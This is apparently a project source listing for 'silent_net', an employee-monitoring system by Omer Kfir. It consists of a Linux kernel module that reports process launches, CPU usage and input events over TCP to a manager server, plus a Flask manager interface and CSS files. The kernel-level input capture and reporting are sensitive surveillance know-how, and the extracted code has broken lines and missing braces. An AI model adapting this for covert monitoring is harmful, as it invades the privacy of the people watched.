 struct net_device *dev;
 struct net_device *chosen_dev = NULL;
 char lowest_mac[ETH_ALEN] = {0xff, 0xff, 0xff, 0xff, 0xff, 0xff};
  * When searching for mac address iterating through netdevices
  * Does not ensure finding the same mac as netdevices list changes
  * Therefore we will find the lowest valued mac address
  * /
 rcu_read_lock();
 netdevices list
   if (!(dev->flags & IFF_LOOPBACK)) { // Ensure netdevice isn't a
   loopback
     int i;
     for (i = 0; i < ETH\_ALEN;
          i++) { // Iterates through the octats, Finds min octat
          and replaces
       if (dev->dev_addr[i] < lowest_mac[i]) {</pre>
         memcpy(lowest_mac, dev->dev_addr, ETH_ALEN);
         chosen_dev = dev;
         break;
       } else if (dev->dev_addr[i] > lowest_mac[i]) {
         break;
       }
     }
    }
  }
 if (chosen_dev) {
   // Format MAC address as string
   snprintf(mac_buf, 18, "%02x:%02x:%02x:%02x:%02x:%02x",
   lowest_mac[0],
            lowest_mac[1], lowest_mac[2], lowest_mac[3], lowest_mac[4],
            lowest_mac[5]);
  } else {
   // In case no suitable interface is found
   strncpy(mac_buf, "00:00:00:00:00:00", 17);
 rcu_read_unlock();
```

employee - mac_find.h

employee - Makefile

employee - protocol.c

```
* protocol.c - Format messaages for protocol
                Omer Kfir (C)
 * /
#include "protocol.h"
#include "headers.h"
#include "transmission.h"
#include "workqueue.h"
#include <linux/stdarg.h> // Handling unkown amount of arguments
char *dAddress = "10.100.102.103";
uint16_t dPort = 6734;
module_param(dAddress, charp, 0644);
module_param(dPort, ushort, 0644);
MODULE_PARM_DESC(dAddress, "Destination address");
MODULE_PARM_DESC(dPort, "Destination port");
/* Formats a message by protocol */
int protocol_format(char *dst, const char *format, ...) {
  va_list args;
  int ret_len; // Ret value of length or error
  va_start(args, format);
                                               // Initialize args
  ret_len = vsnprintf(NULL, 0, format, args); // Calculate message
  length
  va_end(args); // Close args since it was iterated by vsnprintf
  // Check for overflow
  if (ret_len + SIZE_OF_SIZE >= BUFFER_SIZE)
    return -ENOMEM;
  // Copy first length of message before actual message and pad
  snprintf(dst, SIZE_OF_SIZE + 1, "%04d", ret_len);
  ret_len += SIZE_OF_SIZE; // Ret len is the whole size of the buffer
  // Now add actual formatted string
  va_start(args, format);
  vsnprintf(dst + SIZE_OF_SIZE, BUFFER_SIZE - SIZE_OF_SIZE, format,
  args);
  va_end(args);
 return ret_len;
/* Send message with formatted message */
int protocol_send_message(const char *format, ...) {
  char msg_buf[BUFFER_SIZE];
```

employee - protocol.c

```
int msg_length;
va_list args;

va_start(args, format);

char fmt_buf[BUFFER_SIZE];
vsnprintf(fmt_buf, BUFFER_SIZE, format, args);
va_end(args);

// Now call protocol_format with the formatted string
msg_length = protocol_format(msg_buf, "%s", fmt_buf);

if (msg_length > 0)
    workqueue_message(transmit_data, msg_buf, msg_length);

return 0;
```

employee - protocol.h

```
* protocol.h - A header file for all protocol important data.
* ■■This file only provides msg type.
*■■Omer Kfir (C)
* /
#ifndef PROTOCOL_H
#define PROTOCOL_H
#include <linux/types.h> // For uint16_t
/* Message types */
#define MSG_AUTH "CAU" // Starting credentials message
/* Hooking messages */
#define MSG_PROCESS_OPEN "CPO"
#define MSG_CPU_USAGE "CCU"
#define MSG_COMM_CATEGORY "COT"
#define MSG_INPUT_EVENT "CIE"
#define PROTOCOL_SEPARATOR "\x1f"
#define PROTOCOL_SEPARATOR_CHR '\x1f'
/* Protocol buffer handling */
#define BUFFER_SIZE (1024 / 4)
#define SIZE_OF_SIZE (4) // Characters amount of size of a message
int protocol_format(char *, const char *, ...);
int protocol_send_message(const char *, ...);
extern char *dAddress;
extern uint16_t dPort;
/* PROTOCOL_H */
```

#endif

employee - tcp_socket.c

```
* 'slient net' project client tcp socket code.
* Handles communication implementation.
 * This file is part of the 'silent_net' project.
 * Helps to create a TCP socket and send messages through it.
 * Omer Kfir (C)
 * /
#include "tcp_socket.h"
#include "headers.h"
/* Initialize a TCP struct socket */
struct socket *tcp_sock_create(void) {
 struct socket *sock;
 struct timespec64 tv;
 int err;
 /* Create tcp socket */
 err = sock_create(AF_INET, SOCK_STREAM, IPPROTO_TCP, &sock);
 if (err < 0) {
   printk(KERN_ERR "Failed to create TCP socket\n");
   return ERR_PTR(err);
  }
  // Set mark on socket
 sock_set_mark(sock->sk, MODULE_MARK);
  /* Set 0.5 second timeout for recv/connect/send */
                           // Seconds
 tv.tv_sec = 0;
 tv.tv_nsec = SOCK_TIMEO; // Nanoseconds
 err = sock_setsockopt(sock, SOL_SOCKET, SO_RCVTIMEO_NEW,
 KERNEL_SOCKPTR(&tv),
                        sizeof(tv));
 if (err < 0) {
   printk(KERN_ERR "Failed to set recv timeo %d\n", err);
   return ERR_PTR(err);
  }
 err = sock_setsockopt(sock, SOL_SOCKET, SO_SNDTIMEO_NEW,
 KERNEL_SOCKPTR(&tv),
                        sizeof(tv));
 if (err < 0) {
   printk(KERN_ERR "Failed to set send timeo\n");
   return ERR_PTR(err);
 return sock;
/* Initialize a tcp connection */
```

employee - tcp_socket.c

```
int tcp_sock_connect(struct socket *sock, const char *dst_ip,
uint16_t port) {
  struct sockaddr_in addr = {0}; // Ensure all values inside struct
  are zeroed
  int err;
  /* Validate all arguments */
  if (!sock | !sock->ops | !sock->ops->connect | !dst_ip)
    return -EINVAL; // Invalid argument passed
  /* Initialize address structure */
  addr.sin_family = AF_INET;
  addr.sin_port = htons(port);
  addr.sin_addr.s_addr = in_aton(dst_ip);
  // 0 - Means no specific use of the socket (Writing/Receving)
  err = sock->ops->connect(sock, (struct sockaddr *)&addr,
  sizeof(addr), 0);
  if (err < 0 && err != -EINPROGRESS)</pre>
    return err;
 return err;
/* Send message through a TCP socket */
int tcp_send_msg(struct socket *sock, const char *msg, size_t length) {
  struct msghdr msg_met = {0};
  struct kvec vec;
  int err;
  /* Validate arguemnts */
  if (!sock | | !msg)
   return -EINVAL; // Invalid argument passed
  /* I/O Vector for message tranfering */
  vec.iov_base = (void *)msg;
  vec.iov_len = length;
  err = kernel_sendmsg(sock, &msg_met, &vec, 1, length);
  if (err < 0)
    printk(KERN_ERR "Failed to send message %d\n", err);
 return err;
int check_valid_connection(struct socket *sock) {
  char buf[1];
  struct msghdr msg = {0};
  struct kvec vec;
  int ret;
  if (!sock | !sock->sk)
    return -ENOTCONN;
```

employee - tcp_socket.c

```
/* Check if socket is connected */
 if (sock->sk->sk_state != TCP_ESTABLISHED) {
    printk(KERN_ERR "Socket not connected\n");
    return -ENOTCONN;
  vec.iov_base = buf;
  vec.iov_len = 1;
  ret = kernel_recvmsg(sock, &msg, &vec, 1, 1, MSG_PEEK | MSG_DONTWAIT);
  if (ret == 0) {
    // Received FIN
    printk(KERN_INFO "here\n");
    return -ENOTCONN;
  } else if (ret < 0 && ret != -EAGAIN) {</pre>
    // Other error
    return ret;
  }
  // Still connected
  return 0;
}
/* Close socket struct */
void tcp_sock_close(struct socket *sock) {
  if (sock)
    sock_release(sock);
}
/* Checks if socket has a certain mark */
bool check_sock_mark(struct sock *sock, __u32 mark) {
  if (!sock)
    return false;
  return sock->sk_mark == mark;
```

employee - tcp_socket.h

```
* Header file for tcp_socket.c
 * Omer Kfir (C)
#ifndef TCP_SOCK_H
#define TCP_SOCK_H
/* IPV4 tcp connection */
#include <linux/errno.h>
#include <linux/in.h>
                        // IP structures
#include <linux/inet.h> // Internet addresses manipulatutions
#include <linux/net.h> // Kernel functions for network
#include <linux/socket.h> // Kernel socket structure
#include <linux/tcp.h> // Macros definitions
#include <linux/time.h>
#include <linux/timer.h>
#include <net/inet_sock.h>
#include <net/sock.h> // Kernel socket structures
#define SOCK_TIMEO (1e4)
#define MODULE_MARK (6734)
struct socket *tcp_sock_create(void);
int tcp_sock_connect(struct socket *, const char *, uint16_t);
int tcp_send_msg(struct socket *, const char *, size_t);
int check_valid_connection(struct socket *);
void tcp_sock_close(struct socket *);
bool check_sock_mark(struct sock *, __u32);
/* TCP_SOCK_H */
#endif
```

employee - transmission.c

```
*■'silent_net' data transmission
 * This file is part of the 'silent_net' project.
   Handles the data transmission to the server and backup data.
 *■Omer Kfir (C)
 * /
#include "transmission.h"
char *uName = "\x00";
module_param(uName, charp, 0644);
MODULE_PARM_DESC(uName, "Name of user");
static struct socket *sock; // Struct socket
static bool connected = false; // Boolean which indicates if
currently connected
static struct mutex trns_mutex; // Mutex for thread safe socket handling
int i = 0;
static char cred[BUFFER_SIZE];
static void disconnect(char *msg, size_t len) {
  if (sock) {
   tcp_sock_close(sock);
    sock = NULL;
  connected = false;
  if (!msg | | len <= 0)
    return;
  backup_data_log(msg, len);
void transmit_data(struct work_struct *work) {
  wq_msg *curr_msg = container_of(work, wq_msg, work);
  int ret;
  // Mainly for backup data when server is up
  char msg_buf[BUFFER_SIZE];
  size_t msg_len;
  mutex_lock(&trns_mutex);
  /* If socket is disconnected try to connect */
  if (!connected) {
    /* When a socket disconnects a new socket needs to be created */
    sock = tcp_sock_create();
    if (IS_ERR(sock)) {
      disconnect(curr_msg->msg_buf, curr_msg->length);
```

employee - transmission.c

```
goto end;
    }
   ret = tcp_sock_connect(sock, dAddress, dPort);
   if (ret < 0) {
     disconnect(curr_msg->msg_buf, curr_msg->length);
     goto end;
   connected = true;
    // Send credentials - only after successful connection
   ret = tcp_send_msg(sock, cred, strlen(cred));
   if (ret < 0) {
      disconnect(curr_msg->msg_buf, curr_msg->length);
     goto end;
    }
  // Because we assume that the connection is valid
  // We will add a manual check for the connnection
  // To see if we received a FIN packet
 if (check_valid_connection(sock) < 0) {</pre>
   disconnect(curr_msg->msg_buf, curr_msg->length);
   goto end;
  }
 ret = tcp_send_msg(sock, curr_msg->msg_buf, curr_msg->length);
 if (ret < 0) {
   disconnect(curr_msg->msg_buf, curr_msg->length);
  } else if (sock && sock->sk && sock->sk->sk_state ==
 TCP_ESTABLISHED) {
   // If sending message was successful then employee is connected
   to server
    // So now we will try to flush the backup data to the server
   ret = read_backup_data_log(msg_buf);
   while (ret > 0) {
     msg_len = ret;
      if (msg_len > BUFFER_SIZE) {
       printk(KERN_ERR "Invalid message length: %lu\n", msg_len);
       break;
      }
      ret = tcp_send_msg(sock, msg_buf, msg_len);
      if (ret < 0) {
       disconnect(msg_buf, msg_len);
       break;
      ret = read_backup_data_log(msg_buf);
end:
 mutex_unlock(&trns_mutex);
```

employee - transmission.c

```
kfree(curr_msg); // Free the work structure
void handle_credentials(void) {
  char mac_buf[MAC_SIZE];
  get_mac_address(mac_buf);
  if ((int)strlen(uName) == 0)
    uName = utsname()->nodename;
  protocol_format(cred, "%s" PROTOCOL_SEPARATOR "%s"
  PROTOCOL_SEPARATOR "%s",
                  MSG_AUTH, mac_buf, uName);
/* Initialize all transmission objects */
void data_transmission_init(void) {
  mutex_init(&trns_mutex);
  file_storage_init();
  handle_credentials();
}
/* Closes all transmission objects */
void data_transmission_release(void) {
  // Close socket
  tcp_sock_close(sock);
  file_storage_release();
  /*
   * No need for releasing trns_mutex since
   * The operating system knows to release it on
   * It's own when module is unloaded
   * /
```

employee - transmission.h

```
*■'silent_net' tranmission.h - header file for tranmission
 *■Omer Kfir (C)
 * /
#ifndef TRANSMISSION_H
#define TRANSMISSION_H
#include "file_handling/file_storage.h"
#include "headers.h"
#include "mac_find.h"
#include "protocol.h"
#include "tcp_socket.h"
#include "workqueue.h"
void transmit_data(struct work_struct *);
void handle_credentials(void);
void data_transmission_init(void);
void data_transmission_release(void);
/* TRANSMISSION_H */
```

#endif

employee - workqueue.c

```
*■'silent net' work queue handling
 *■Basic abstraction for data set workqueue
 *■Omer Kfir (C)
 * /
#include "workqueue.h"
static struct workqueue_struct
    *workqueue; // Global workqueue for transmission of data
/* Initialize a single thread workqueue */
int init_singlethread_workqueue(const char *workqueue_name) {
  workqueue = create_singlethread_workqueue(workqueue_name);
  if (!workqueue) {
    destroy_workqueue(workqueue);
    return -ENOMEM;
  return 0;
/* Flush and destroy singlethread workqueue */
void release_singlethread_workqueue(void) {
  /*
   * Flush all current works in the workqueue
   * Waits for all of kThreads (works) to be closed
   * /
  flush_workqueue(workqueue);
  // Destroy workqueue object
 destroy_workqueue(workqueue);
/* Queue a new message to be sent */
void workqueue_message(void (*queued_function)(struct work_struct *),
                       const char *msg, size_t length) {
  struct wq_msg *work;
  /* Because we are only able to send the pointer to work_struct
   * We will create a 'father' struct for it, which will contain it
   * And in the function we will perform container_of in order to get
   * The message itself and the length
   * /
  work = kmalloc(sizeof(wq_msg), GFP_ATOMIC);
  if (!work)
    return;
  /* Initialize work for it to point to the desired function*/
  INIT_WORK(&work->work, queued_function);
```

employee - workqueue.c

```
/* Copy data to wq_msg metadata */
work->length = min(length, BUFFER_SIZE - 1);
memcpy(work->msg_buf, msg, work->length);

/* Push work to workqueue - thread safe function (dont worry :) )*/
if (!queue_work(workqueue, &work->work))
   kfree(work); // Free if queueing fails
```

employee - workqueue.h

```
*■'silent net' workqueue header file.
 *■Defines specific work message structures
 * ■Omer Kfir (C)
 * /
#ifndef WORKQUEUE_H
#define WORKQUEUE_H
#include "headers.h"
#include "protocol.h"
#include <linux/workqueue.h> // Smart work queue implementation for
different tasks
void workqueue_message(void (*)(struct work_struct *), const char
*, size_t);
int init_singlethread_workqueue(const char *);
void release_singlethread_workqueue(void);
/* Workqueue message */
typedef struct wq_msg {
  /* Current mission */
  struct work_struct work;
  /* Message dara for sending data */
  char msg_buf[BUFFER_SIZE];
  size_t length;
} wq_msg;
/* WORKQUEUE_H */
#endif
```

```
'Silent net' Manager Web Interface
This module implements the manager-side web interface for the
Silent net project.
It provides a Flask-based web application that allows managers to
request data from server
The application enforces a screen hierarchy and handles all
communication with the server.
Omer Kfir (C)
11 11 11
import sys
import webbrowser
import os
import signal
import json
from sys import argv
from functools import wraps
from flask import Flask, redirect, render_template, request,
jsonify, url_for
# Append parent directory to be able to import protocol
sys.path.append(os.path.abspath(os.path.join(os.path.dirname(__file
___), '.../shared')))
from protocol import *
__author__ : str = "Omer Kfir"
server_ip : str = "127.0.0.1"
class SilentNetManager:
    """Main manager application class that encapsulates all Flask
    routes and server communication"""
    def __init__(self):
        """Initialize the manager application"""
        self.app : webbrowser = Flask(__name___)
        self.manager_socket : bool = None
        self.is_connected : bool = False
        self.screens : dict = {
            "/exit": 0,
            "/loading": 1,
            "/": 2,
            "/settings": 3,
            "/employees": 4,
            "/stats_screen": 5,
        }
        self.current_screen : str = "/"
        self.previous_screen : str = ""
        self._setup_routes()
        self._setup_error_handlers()
```

```
def _setup_routes(self):
    """Configure all Flask routes"""
    self.app.route("/exit-program")(self.exit_program)
    self.app.route("/exit")(self.check_screen_access(self.exit_
    page))
    self.app.route("/loading")(self.check_screen_access(self.lo
    ading_screen))
    self.app.route("/")(self.check_screen_access(self.start_screen))
    self.app.route('/check_password',
    methods=['POST'])(self.check_password)
    self.app.route("/settings")(self.check_screen_access(self.s
    ettings_screen))
    self.app.route("/submit_settings",
    methods=["POST"])(self.submit_settings)
    self.app.route("/employees")(self.check_screen_access(self.
    employees_screen))
    self.app.route('/delete_client',
    methods=['POST'])(self.delete_client)
    self.app.route("/manual-connect")(self.manual_connect)
    self.app.route('/update_client_name',
    methods=['POST'])(self.update_client_name)
    self.app.route("/stats_screen")(self.check_screen_access(se
    lf.stats_screen))
def _setup_error_handlers(self):
    """Configure error handlers"""
    self.app.errorhandler(404)(self.page_not_found)
    self.app.errorhandler(500)(self.internal_error)
def check_screen_access(self, f : callable) -> callable:
    """Decorator to enforce screen hierarchy and track navigation"""
    @wraps(f)
    def wrapper(*args, **kwargs):
        # Allow access to the loading/exit screen regardless of
        current screen
        if request.path in ["/loading", "/exit"]:
            self.previous_screen = self.current_screen
            self.current_screen = request.path
            return f(*args, **kwargs)
        # Allow access to employees screen if current screen is
        higher in hierarchy
        elif ((request.path == "/employees" and
              self.screens[self.current_screen] >
              self.screens[request.path]) or (request.path ==
              "/settings" and self.current_screen == "/employees")):
            self.previous_screen = self.current_screen
            self.current_screen = request.path
            return f(*args, **kwargs)
```

For other screens, enforce the hierarchy

```
elif self.screens[self.current_screen] >
        self.screens[request.path]:
            return redirect(self.current screen)
        self.previous_screen = self.current_screen
        self.current_screen = request.path
        return f(*args, **kwargs)
    return wrapper
def disconnect(self):
    """Disconnect from the server and clean up resources"""
    if self.manager_socket:
        self.manager_socket.close()
    self.is_connected = False
def exit_program(self):
    """Handle application exit"""
    self.disconnect()
    os.kill(os.getpid(), signal.SIGINT)
    return '', 204
def page_not_found(self, error):
    """Handle 404 errors"""
    return render_template("http_error.html",
    redirect_url=self.previous_screen)
def internal_error(self, error):
    """Handle 500 errors"""
    return render_template("internal_error.html")
def exit_page(self):
    """Render exit confirmation screen"""
    return render_template("exit_screen.html",
    previous_screen=self.previous_screen)
def loading_screen(self):
    """Render loading screen and attempt connection"""
    self.disconnect()
    return render_template("loading_screen.html")
def start_screen(self):
    """Render the initial login screen"""
    password_incorrect = request.args.get('password_incorrect',
    return render_template("opening_screen.html",
    password_incorrect=password_incorrect)
def check_password(self):
    """Validate manager password with server"""
    password = request.form.get('password')
    if not self.is_connected:
```

self.connect_to_server()

```
if not self.is_connected:
            return redirect(url_for("loading_screen"))
    try:
        self.manager_socket.protocol_send(MessageParser.MANAGER
        _MSG_PASSWORD, encrypt=False, compress=False)
    except Exception:
        self.connect_to_server()
        if not self.is_connected:
            return redirect(url_for("loading_screen"))
        self.manager_socket.protocol_send(MessageParser.MANAGER
        _MSG_PASSWORD, encrypt=False, compress=False)
    if not self.manager_socket.exchange_keys():
        return redirect(url_for("loading_screen"))
    self.manager_socket.protocol_send(password)
    response =
    self.manager_socket.protocol_recv()[MessageParser.PROTOCOL_
    DATA_INDEX - 1].decode()
    if response == MessageParser.MANAGER_VALID_CONN:
        return redirect(url_for("settings_screen"))
    if not self.is_connected:
        return redirect(url_for("loading_screen"))
    self.disconnect()
    return redirect(url_for("start_screen",
    password_incorrect='true'))
def settings_screen(self):
    """Render server settings screen"""
    return render_template("settings_screen.html")
def submit_settings(self):
    """Update server settings"""
    employees_amount = request.form.get('employees_amount')
    safety = request.form.get('safety')
    self.manager_socket.protocol_send(
        MessageParser.MANAGER_SND_SETTINGS,
        employees_amount,
        safety
    )
    return redirect(url_for("employees_screen"))
def employees_screen(self):
    """Render employee list screen"""
    self.manager_socket.protocol_send(MessageParser.MANAGER_GET
    _CLIENTS)
    clients = self.manager_socket.protocol_recv()
```

```
if clients == b"":
        return redirect(url_for("loading_screen"))
    clients = clients[MessageParser.PROTOCOL_DATA_INDEX:]
    stats = []
    for client in clients:
        name, active, connected = client.decode().split(",")
        stats.append([name, int(active), int(connected)])
    return render_template("name_screen.html", name_list=stats)
def delete_client(self):
    """Handle client deletion request"""
    data = request.get_json()
    client_name = data.get('name')
    if not client_name:
        return jsonify({ 'success': False, 'message': 'No name
        provided'}), 400
    self.manager_socket.protocol_send(MessageParser.MANAGER_DEL
    ETE_CLIENT, client_name)
    return jsonify({'success': True, 'message': f'Client
    {client_name} deleted successfully'})
def manual_connect(self):
    """Handle manual connection attempt"""
    self.connect_to_server()
    current_state = self.is_connected
    if self.is_connected:
        self.manager_socket.protocol_send(MessageParser.MANAGER
        _CHECK_CONNECTION, encrypt=False, compress=False)
        self.disconnect()
    return jsonify({"status": current_state})
def update_client_name(self):
    """Handle client name update request"""
    data = request.get_json()
    current_name, new_name = data.get('current_name'),
    data.get('new_name')
    self.manager_socket.protocol_send(
        MessageParser.MANAGER_CHG_CLIENT_NAME,
        current_name,
        new_name
    )
    response =
    self.manager_socket.protocol_recv()[MessageParser.PROTOCOL_
    DATA_INDEX - 1].decode()
```

if response == MessageParser.MANAGER_VALID_CHG:

```
return jsonify({"success": True})
        else:
            return jsonify({"success": False, "message": "Name is
            already used"})
    def stats_screen(self):
        """Render detailed statistics screen for a client"""
        client_name = request.args.get('client_name')
        if client_name is None:
            return redirect(url_for("employees_screen"))
        self.manager_socket.protocol_send(MessageParser.MANAGER_GET
        _CLIENT_DATA, client_name)
        stats = self.manager_socket.protocol_recv()
        if stats == b"":
            return redirect(url_for("loading_screen"))
        if stats[MessageParser.PROTOCOL_DATA_INDEX - 1].decode() ==
        MessageParser.MANAGER_CLIENT_NOT_FOUND:
            return redirect(url_for("employees_screen"))
        stats = json.loads(stats[MessageParser.PROTOCOL_DATA_INDEX])
        return render_template("stats_screen.html", stats=stats,
        client_name=client_name)
    def connect_to_server(self):
        """Attempt to connect to the server"""
        self.manager_socket = client(manager=True)
        self.is_connected = self.manager_socket.connect(server_ip,
        server.SERVER_BIND_PORT)
        if not self.is_connected:
            return render_template("loading_screen.html")
        self.manager_socket.set_timeout(5)
    def run(self):
        """Run the Flask application"""
        port = TCPsocket.get_free_port()
        webbrowser.open(f"http://127.0.0.1:{port}/")
        self.app.run(port=port)
def main():
    """Entry point for the manager application"""
    global server_ip
    if len(argv) != 2:
        print("Wrong Usage: python manager.py <server_ip>")
    else:
        ip = argv[1].split(".")
```

if len(ip) != 4:

```
print("IP not valid - ipv4 consists 4 numbers")
    return

for n in ip:
    if (not n.isnumeric()) or (int(n) < 0 or int(n) > 255):
        print("IP not valid - ip numbers are no valid")
        return

server_ip = ".".join(ip)
    manager = SilentNetManager()
    manager.run()

if __name__ == "__main__":
    main()
```

```
body {
    margin: 0;
    font-family: 'Arial', sans-serif;
    display: flex;
    justify-content: center;
    align-items: center;
    height: 100vh;
    background: linear-gradient(135deg, #1e1e2f, #2a2a40);
    color: white;
    position: relative;
    overflow: hidden;
}
body::before {
    content: '';
    position: absolute;
    top: 0;
    left: 0;
    width: 100%;
    height: 100%;
    background: radial-gradient(circle, rgba(255, 255, 255, 0.1)
    10%, transparent 10.01%);
    background-size: 20px 20px;
    animation: moveBackground 10s infinite linear;
    z-index: -1;
}
@keyframes moveBackground {
    0% { transform: translateY(0); }
    50% { transform: translateY(-10px); }
    100% { transform: translateY(0); }
}
#exit-window {
    background-color: rgba(255, 255, 255, 0.1);
    padding: 30px;
    border-radius: 15px;
    backdrop-filter: blur(5px);
    text-align: center;
    box-shadow: 0 8px 32px rgba(0, 0, 0, 0.2);
}
h2 {
    font-size: 1.5rem;
    font-weight: 600;
}
.exit-btn, .cancel-btn {
    margin-top: 20px;
    padding: 12px 24px;
    font-size: 1rem;
    font-weight: 500;
    color: #fff;
```

```
border: none;
border-radius: 12px;
cursor: pointer;
transition: all 0.3s ease;
}

.exit-btn {
  background-color: #e74c3c;
}

.exit-btn:hover {
  background-color: #c0392b;
}

.cancel-btn {
  background-color: #3b82f6;
}

.cancel-btn:hover {
  background-color: #2563eb;
}
```

manager\static\css - http_error.css

```
body {
    font-family: Arial, sans-serif;
    background-color: #f8f9fa;
    color: #343a40;
    margin: 0;
    padding: 0;
    display: flex;
    justify-content: center;
    align-items: center;
    height: 100vh;
    text-align: center;
}
.container {
    max-width: 600px;
    padding: 20px;
    background-color: #ffffff;
    border-radius: 8px;
    box-shadow: 0 4px 6px rgba(0, 0, 0, 0.1);
}
h1 {
    font-size: 48px;
    margin: 0 0 20px;
    color: #dc3545;
}
p {
    font-size: 18px;
    margin: 0 0 20px;
}
a {
    color: #007bff;
    text-decoration: none;
}
a:hover {
    text-decoration: underline;
.button {
    display: inline-block;
    padding: 10px 20px;
    font-size: 16px;
    color: #ffffff;
    background-color: #007bff;
    border-radius: 5px;
    text-decoration: none;
    transition: background-color 0.3s ease;
    cursor: pointer;
}
```

manager\static\css - http_error.css

```
.button:hover {
    background-color: #0056b3;
}

.countdown {
    font-size: 16px;
    color: #6c757d;
    margin-top: 10px;
}
```

manager\static\css - internal_error.css

```
body {
    font-family: Arial, sans-serif;
    background-color: #f8f9fa;
    color: #343a40;
    margin: 0;
    padding: 0;
    display: flex;
    justify-content: center;
    align-items: center;
    height: 100vh;
    text-align: center;
}
.container {
    max-width: 600px;
    padding: 20px;
    background-color: #ffffff;
    border-radius: 8px;
    box-shadow: 0 4px 6px rgba(0, 0, 0, 0.1);
}
h1 {
    font-size: 48px;
    margin: 0 0 20px;
    color: #dc3545;
}
p {
    font-size: 18px;
    margin: 0 0 20px;
}
a {
    color: #007bff;
    text-decoration: none;
}
a:hover {
    text-decoration: underline;
.button {
    display: inline-block;
    padding: 10px 20px;
    font-size: 16px;
    color: #ffffff;
    background-color: #007bff;
    border-radius: 5px;
    text-decoration: none;
    transition: background-color 0.3s ease;
.button:hover {
```

manager\static\css - internal_error.css

```
background-color: #0056b3;
```

}

manager\static\css - loading_screen.css

```
body {
    margin: 0;
    font-family: 'Arial', sans-serif;
    display: flex;
    justify-content: center;
    align-items: center;
    height: 100vh;
    background: linear-gradient(135deg, #1e1e2f, #2a2a40);
    color: white;
    position: relative;
    overflow: hidden;
}
body::before {
    content: '';
    position: absolute;
    top: 0;
    left: 0;
    width: 100%;
    height: 100%;
    background: radial-gradient(circle, rgba(255, 255, 255, 0.1)
    10%, transparent 10.01%);
    background-size: 20px 20px;
    animation: moveBackground 10s infinite linear;
    z-index: -1;
}
@keyframes moveBackground {
    0% { transform: translateY(0); }
    50% { transform: translateY(-10px); }
    100% { transform: translateY(0); }
}
#loading-window {
    display: flex;
    flex-direction: column;
    justify-content: center;
    align-items: center;
    width: 350px;
    padding: 30px;
    background-color: rgba(255, 255, 255, 0.1);
    border-radius: 20px;
    backdrop-filter: blur(10px);
    box-shadow: 0 8px 32px rgba(0, 0, 0, 0.2);
    text-align: center;
}
#loading-window h2 {
    margin: 0;
    font-size: 1.5rem;
    font-weight: 600;
    color: #fff;
}
```

manager\static\css - loading_screen.css

```
.spinner {
    margin: 25px 0;
    width: 50px;
    height: 50px;
    border: 4px solid rgba(255, 255, 255, 0.3);
    border-top: 4px solid #fff;
    border-radius: 50%;
    animation: spin 1s linear infinite;
}
@keyframes spin {
    0% { transform: rotate(0deg); }
    100% { transform: rotate(360deg); }
}
#logo {
    position: absolute;
    top: 20px;
    right: 20px;
    width: 100px;
}
#logo img {
    width: 100%;
    height: auto;
    filter: drop-shadow(0 0 10px rgba(0, 0, 0, 0.5));
    mix-blend-mode: lighten;
}
.connect-btn, .exit-btn {
    margin-top: 20px;
    padding: 12px 24px;
    font-size: 1rem;
    font-weight: 500;
    color: #fff;
    border: none;
    border-radius: 12px;
    cursor: pointer;
    transition: all 0.3s ease;
}
.connect-btn {
    background-color: #3b82f6;
.connect-btn:hover {
    background-color: #2563eb;
    transform: translateY(-2px);
}
.exit-btn {
    background-color: #e74c3c;
```

manager\static\css - loading_screen.css

```
.exit-btn:hover {
    background-color: #c0392b;
    transform: translateY(-2px);
}
.button-group {
    display: flex;
    gap: 15px;
    margin-top: 20px;
}
.connection-status {
    color: #6c757d;
    font-size: 0.85rem;
    margin: 20px 0;
    text-align: center;
    max-width: 300px;
    margin-left: auto;
    margin-right: auto;
    line-height: 1.5;
    padding: 8px 12px;
    background-color: rgba(255,255,255,0.1);
    border-radius: 4px;
    display: flex;
    align-items: center;
    justify-content: center;
    gap: 8px;
}
.status-icon {
    font-size: 1rem;
}
/* For modern browsers that support color-mix */
@supports (color: color-mix(in srgb, white, black)) {
    .connection-status {
        color: color-mix(in srgb, currentColor 70%, #adb5bd);
    }
}
```

```
body {
    font-family: Arial, sans-serif;
    margin: 0;
    padding: 0;
    display: flex;
    justify-content: center;
    align-items: center;
    height: 100vh;
    background: linear-gradient(135deg, #1e1e2f, #2a2a40);
    color: #fff;
    position: relative;
    overflow: hidden;
}
body::before {
    content: '';
    position: absolute;
    top: 0;
    left: 0;
    width: 100%;
    height: 100%;
    background: radial-gradient(circle, rgba(255, 255, 255, 0.1)
    10%, transparent 10.01%);
    background-size: 20px 20px;
    animation: moveBackground 10s infinite linear;
    z-index: -1;
}
@keyframes moveBackground {
    0% { transform: translateY(0); }
    50% { transform: translateY(-10px); }
    100% { transform: translateY(0); }
}
.container {
    display: grid;
    grid-template-columns: repeat(4, 1fr);
    grid-gap: 20px;
    justify-content: center;
    margin: 0 auto;
    padding: 20px;
    max-width: 80%;
}
.button {
    border: 1px solid #e0e0e0;
    padding: 15px 10px;
    cursor: pointer;
    font-size: 16px;
    text-align: center;
    width: 180px;
    border-radius: 10px;
    box-shadow: 0 4px 6px rgba(0, 0, 0, 0.1);
```

```
transition: all 0.3s ease;
    position: relative;
    white-space: nowrap;
    overflow: hidden;
    text-overflow: ellipsis;
    display: flex;
    align-items: center;
    justify-content: center;
}
.button:hover {
    transform: translateY(-3px);
    box-shadow: 0 6px 10px rgba(0, 0, 0, 0.15);
.button:active {
    transform: translateY(1px);
    box-shadow: 0 2px 4px rgba(0, 0, 0, 0.1);
}
.refresh-btn, .exit-btn {
    display: inline-block;
    margin: 20px 10px;
    padding: 12px 25px;
    font-size: 18px;
    background-color: #007bff;
    color: white;
    border: none;
    cursor: pointer;
    text-align: center;
    border-radius: 8px;
    box-shadow: 0 4px 6px rgba(0, 0, 0, 0.1);
    transition: background-color 0.3s ease, transform 0.3s ease;
}
.refresh-btn:hover, .exit-btn:hover {
    background-color: #0056b3;
    transform: translateY(-3px);
}
.refresh-btn:active, .exit-btn:active {
    transform: translateY(1px);
    box-shadow: 0 2px 4px rgba(0, 0, 0, 0.1);
}
.exit-btn {
    background-color: #dc3545;
.exit-btn:hover {
    background-color: #c82333;
}
```

```
.logo {
   position: absolute;
    top: 20px;
    right: 20px;
    width: 100px;
    filter: drop-shadow(0 0 15px rgba(0, 0, 0, 0.6));
    mix-blend-mode: lighten;
}
.tooltip {
    position: absolute;
    top: 10px;
    left: 50%;
    transform: translateX(-50%);
    background-color: rgba(0, 0, 0, 0.8);
    color: white;
    padding: 10px;
    border-radius: 5px;
    font-size: 16px;
    white-space: nowrap;
    z-index: 1000;
    display: none;
}
/* Add these to your existing name_screen.css */
.name-card {
    position: relative;
    display: flex;
    align-items: center;
    margin-left: 90px;
}
.name-form {
    margin: 0;
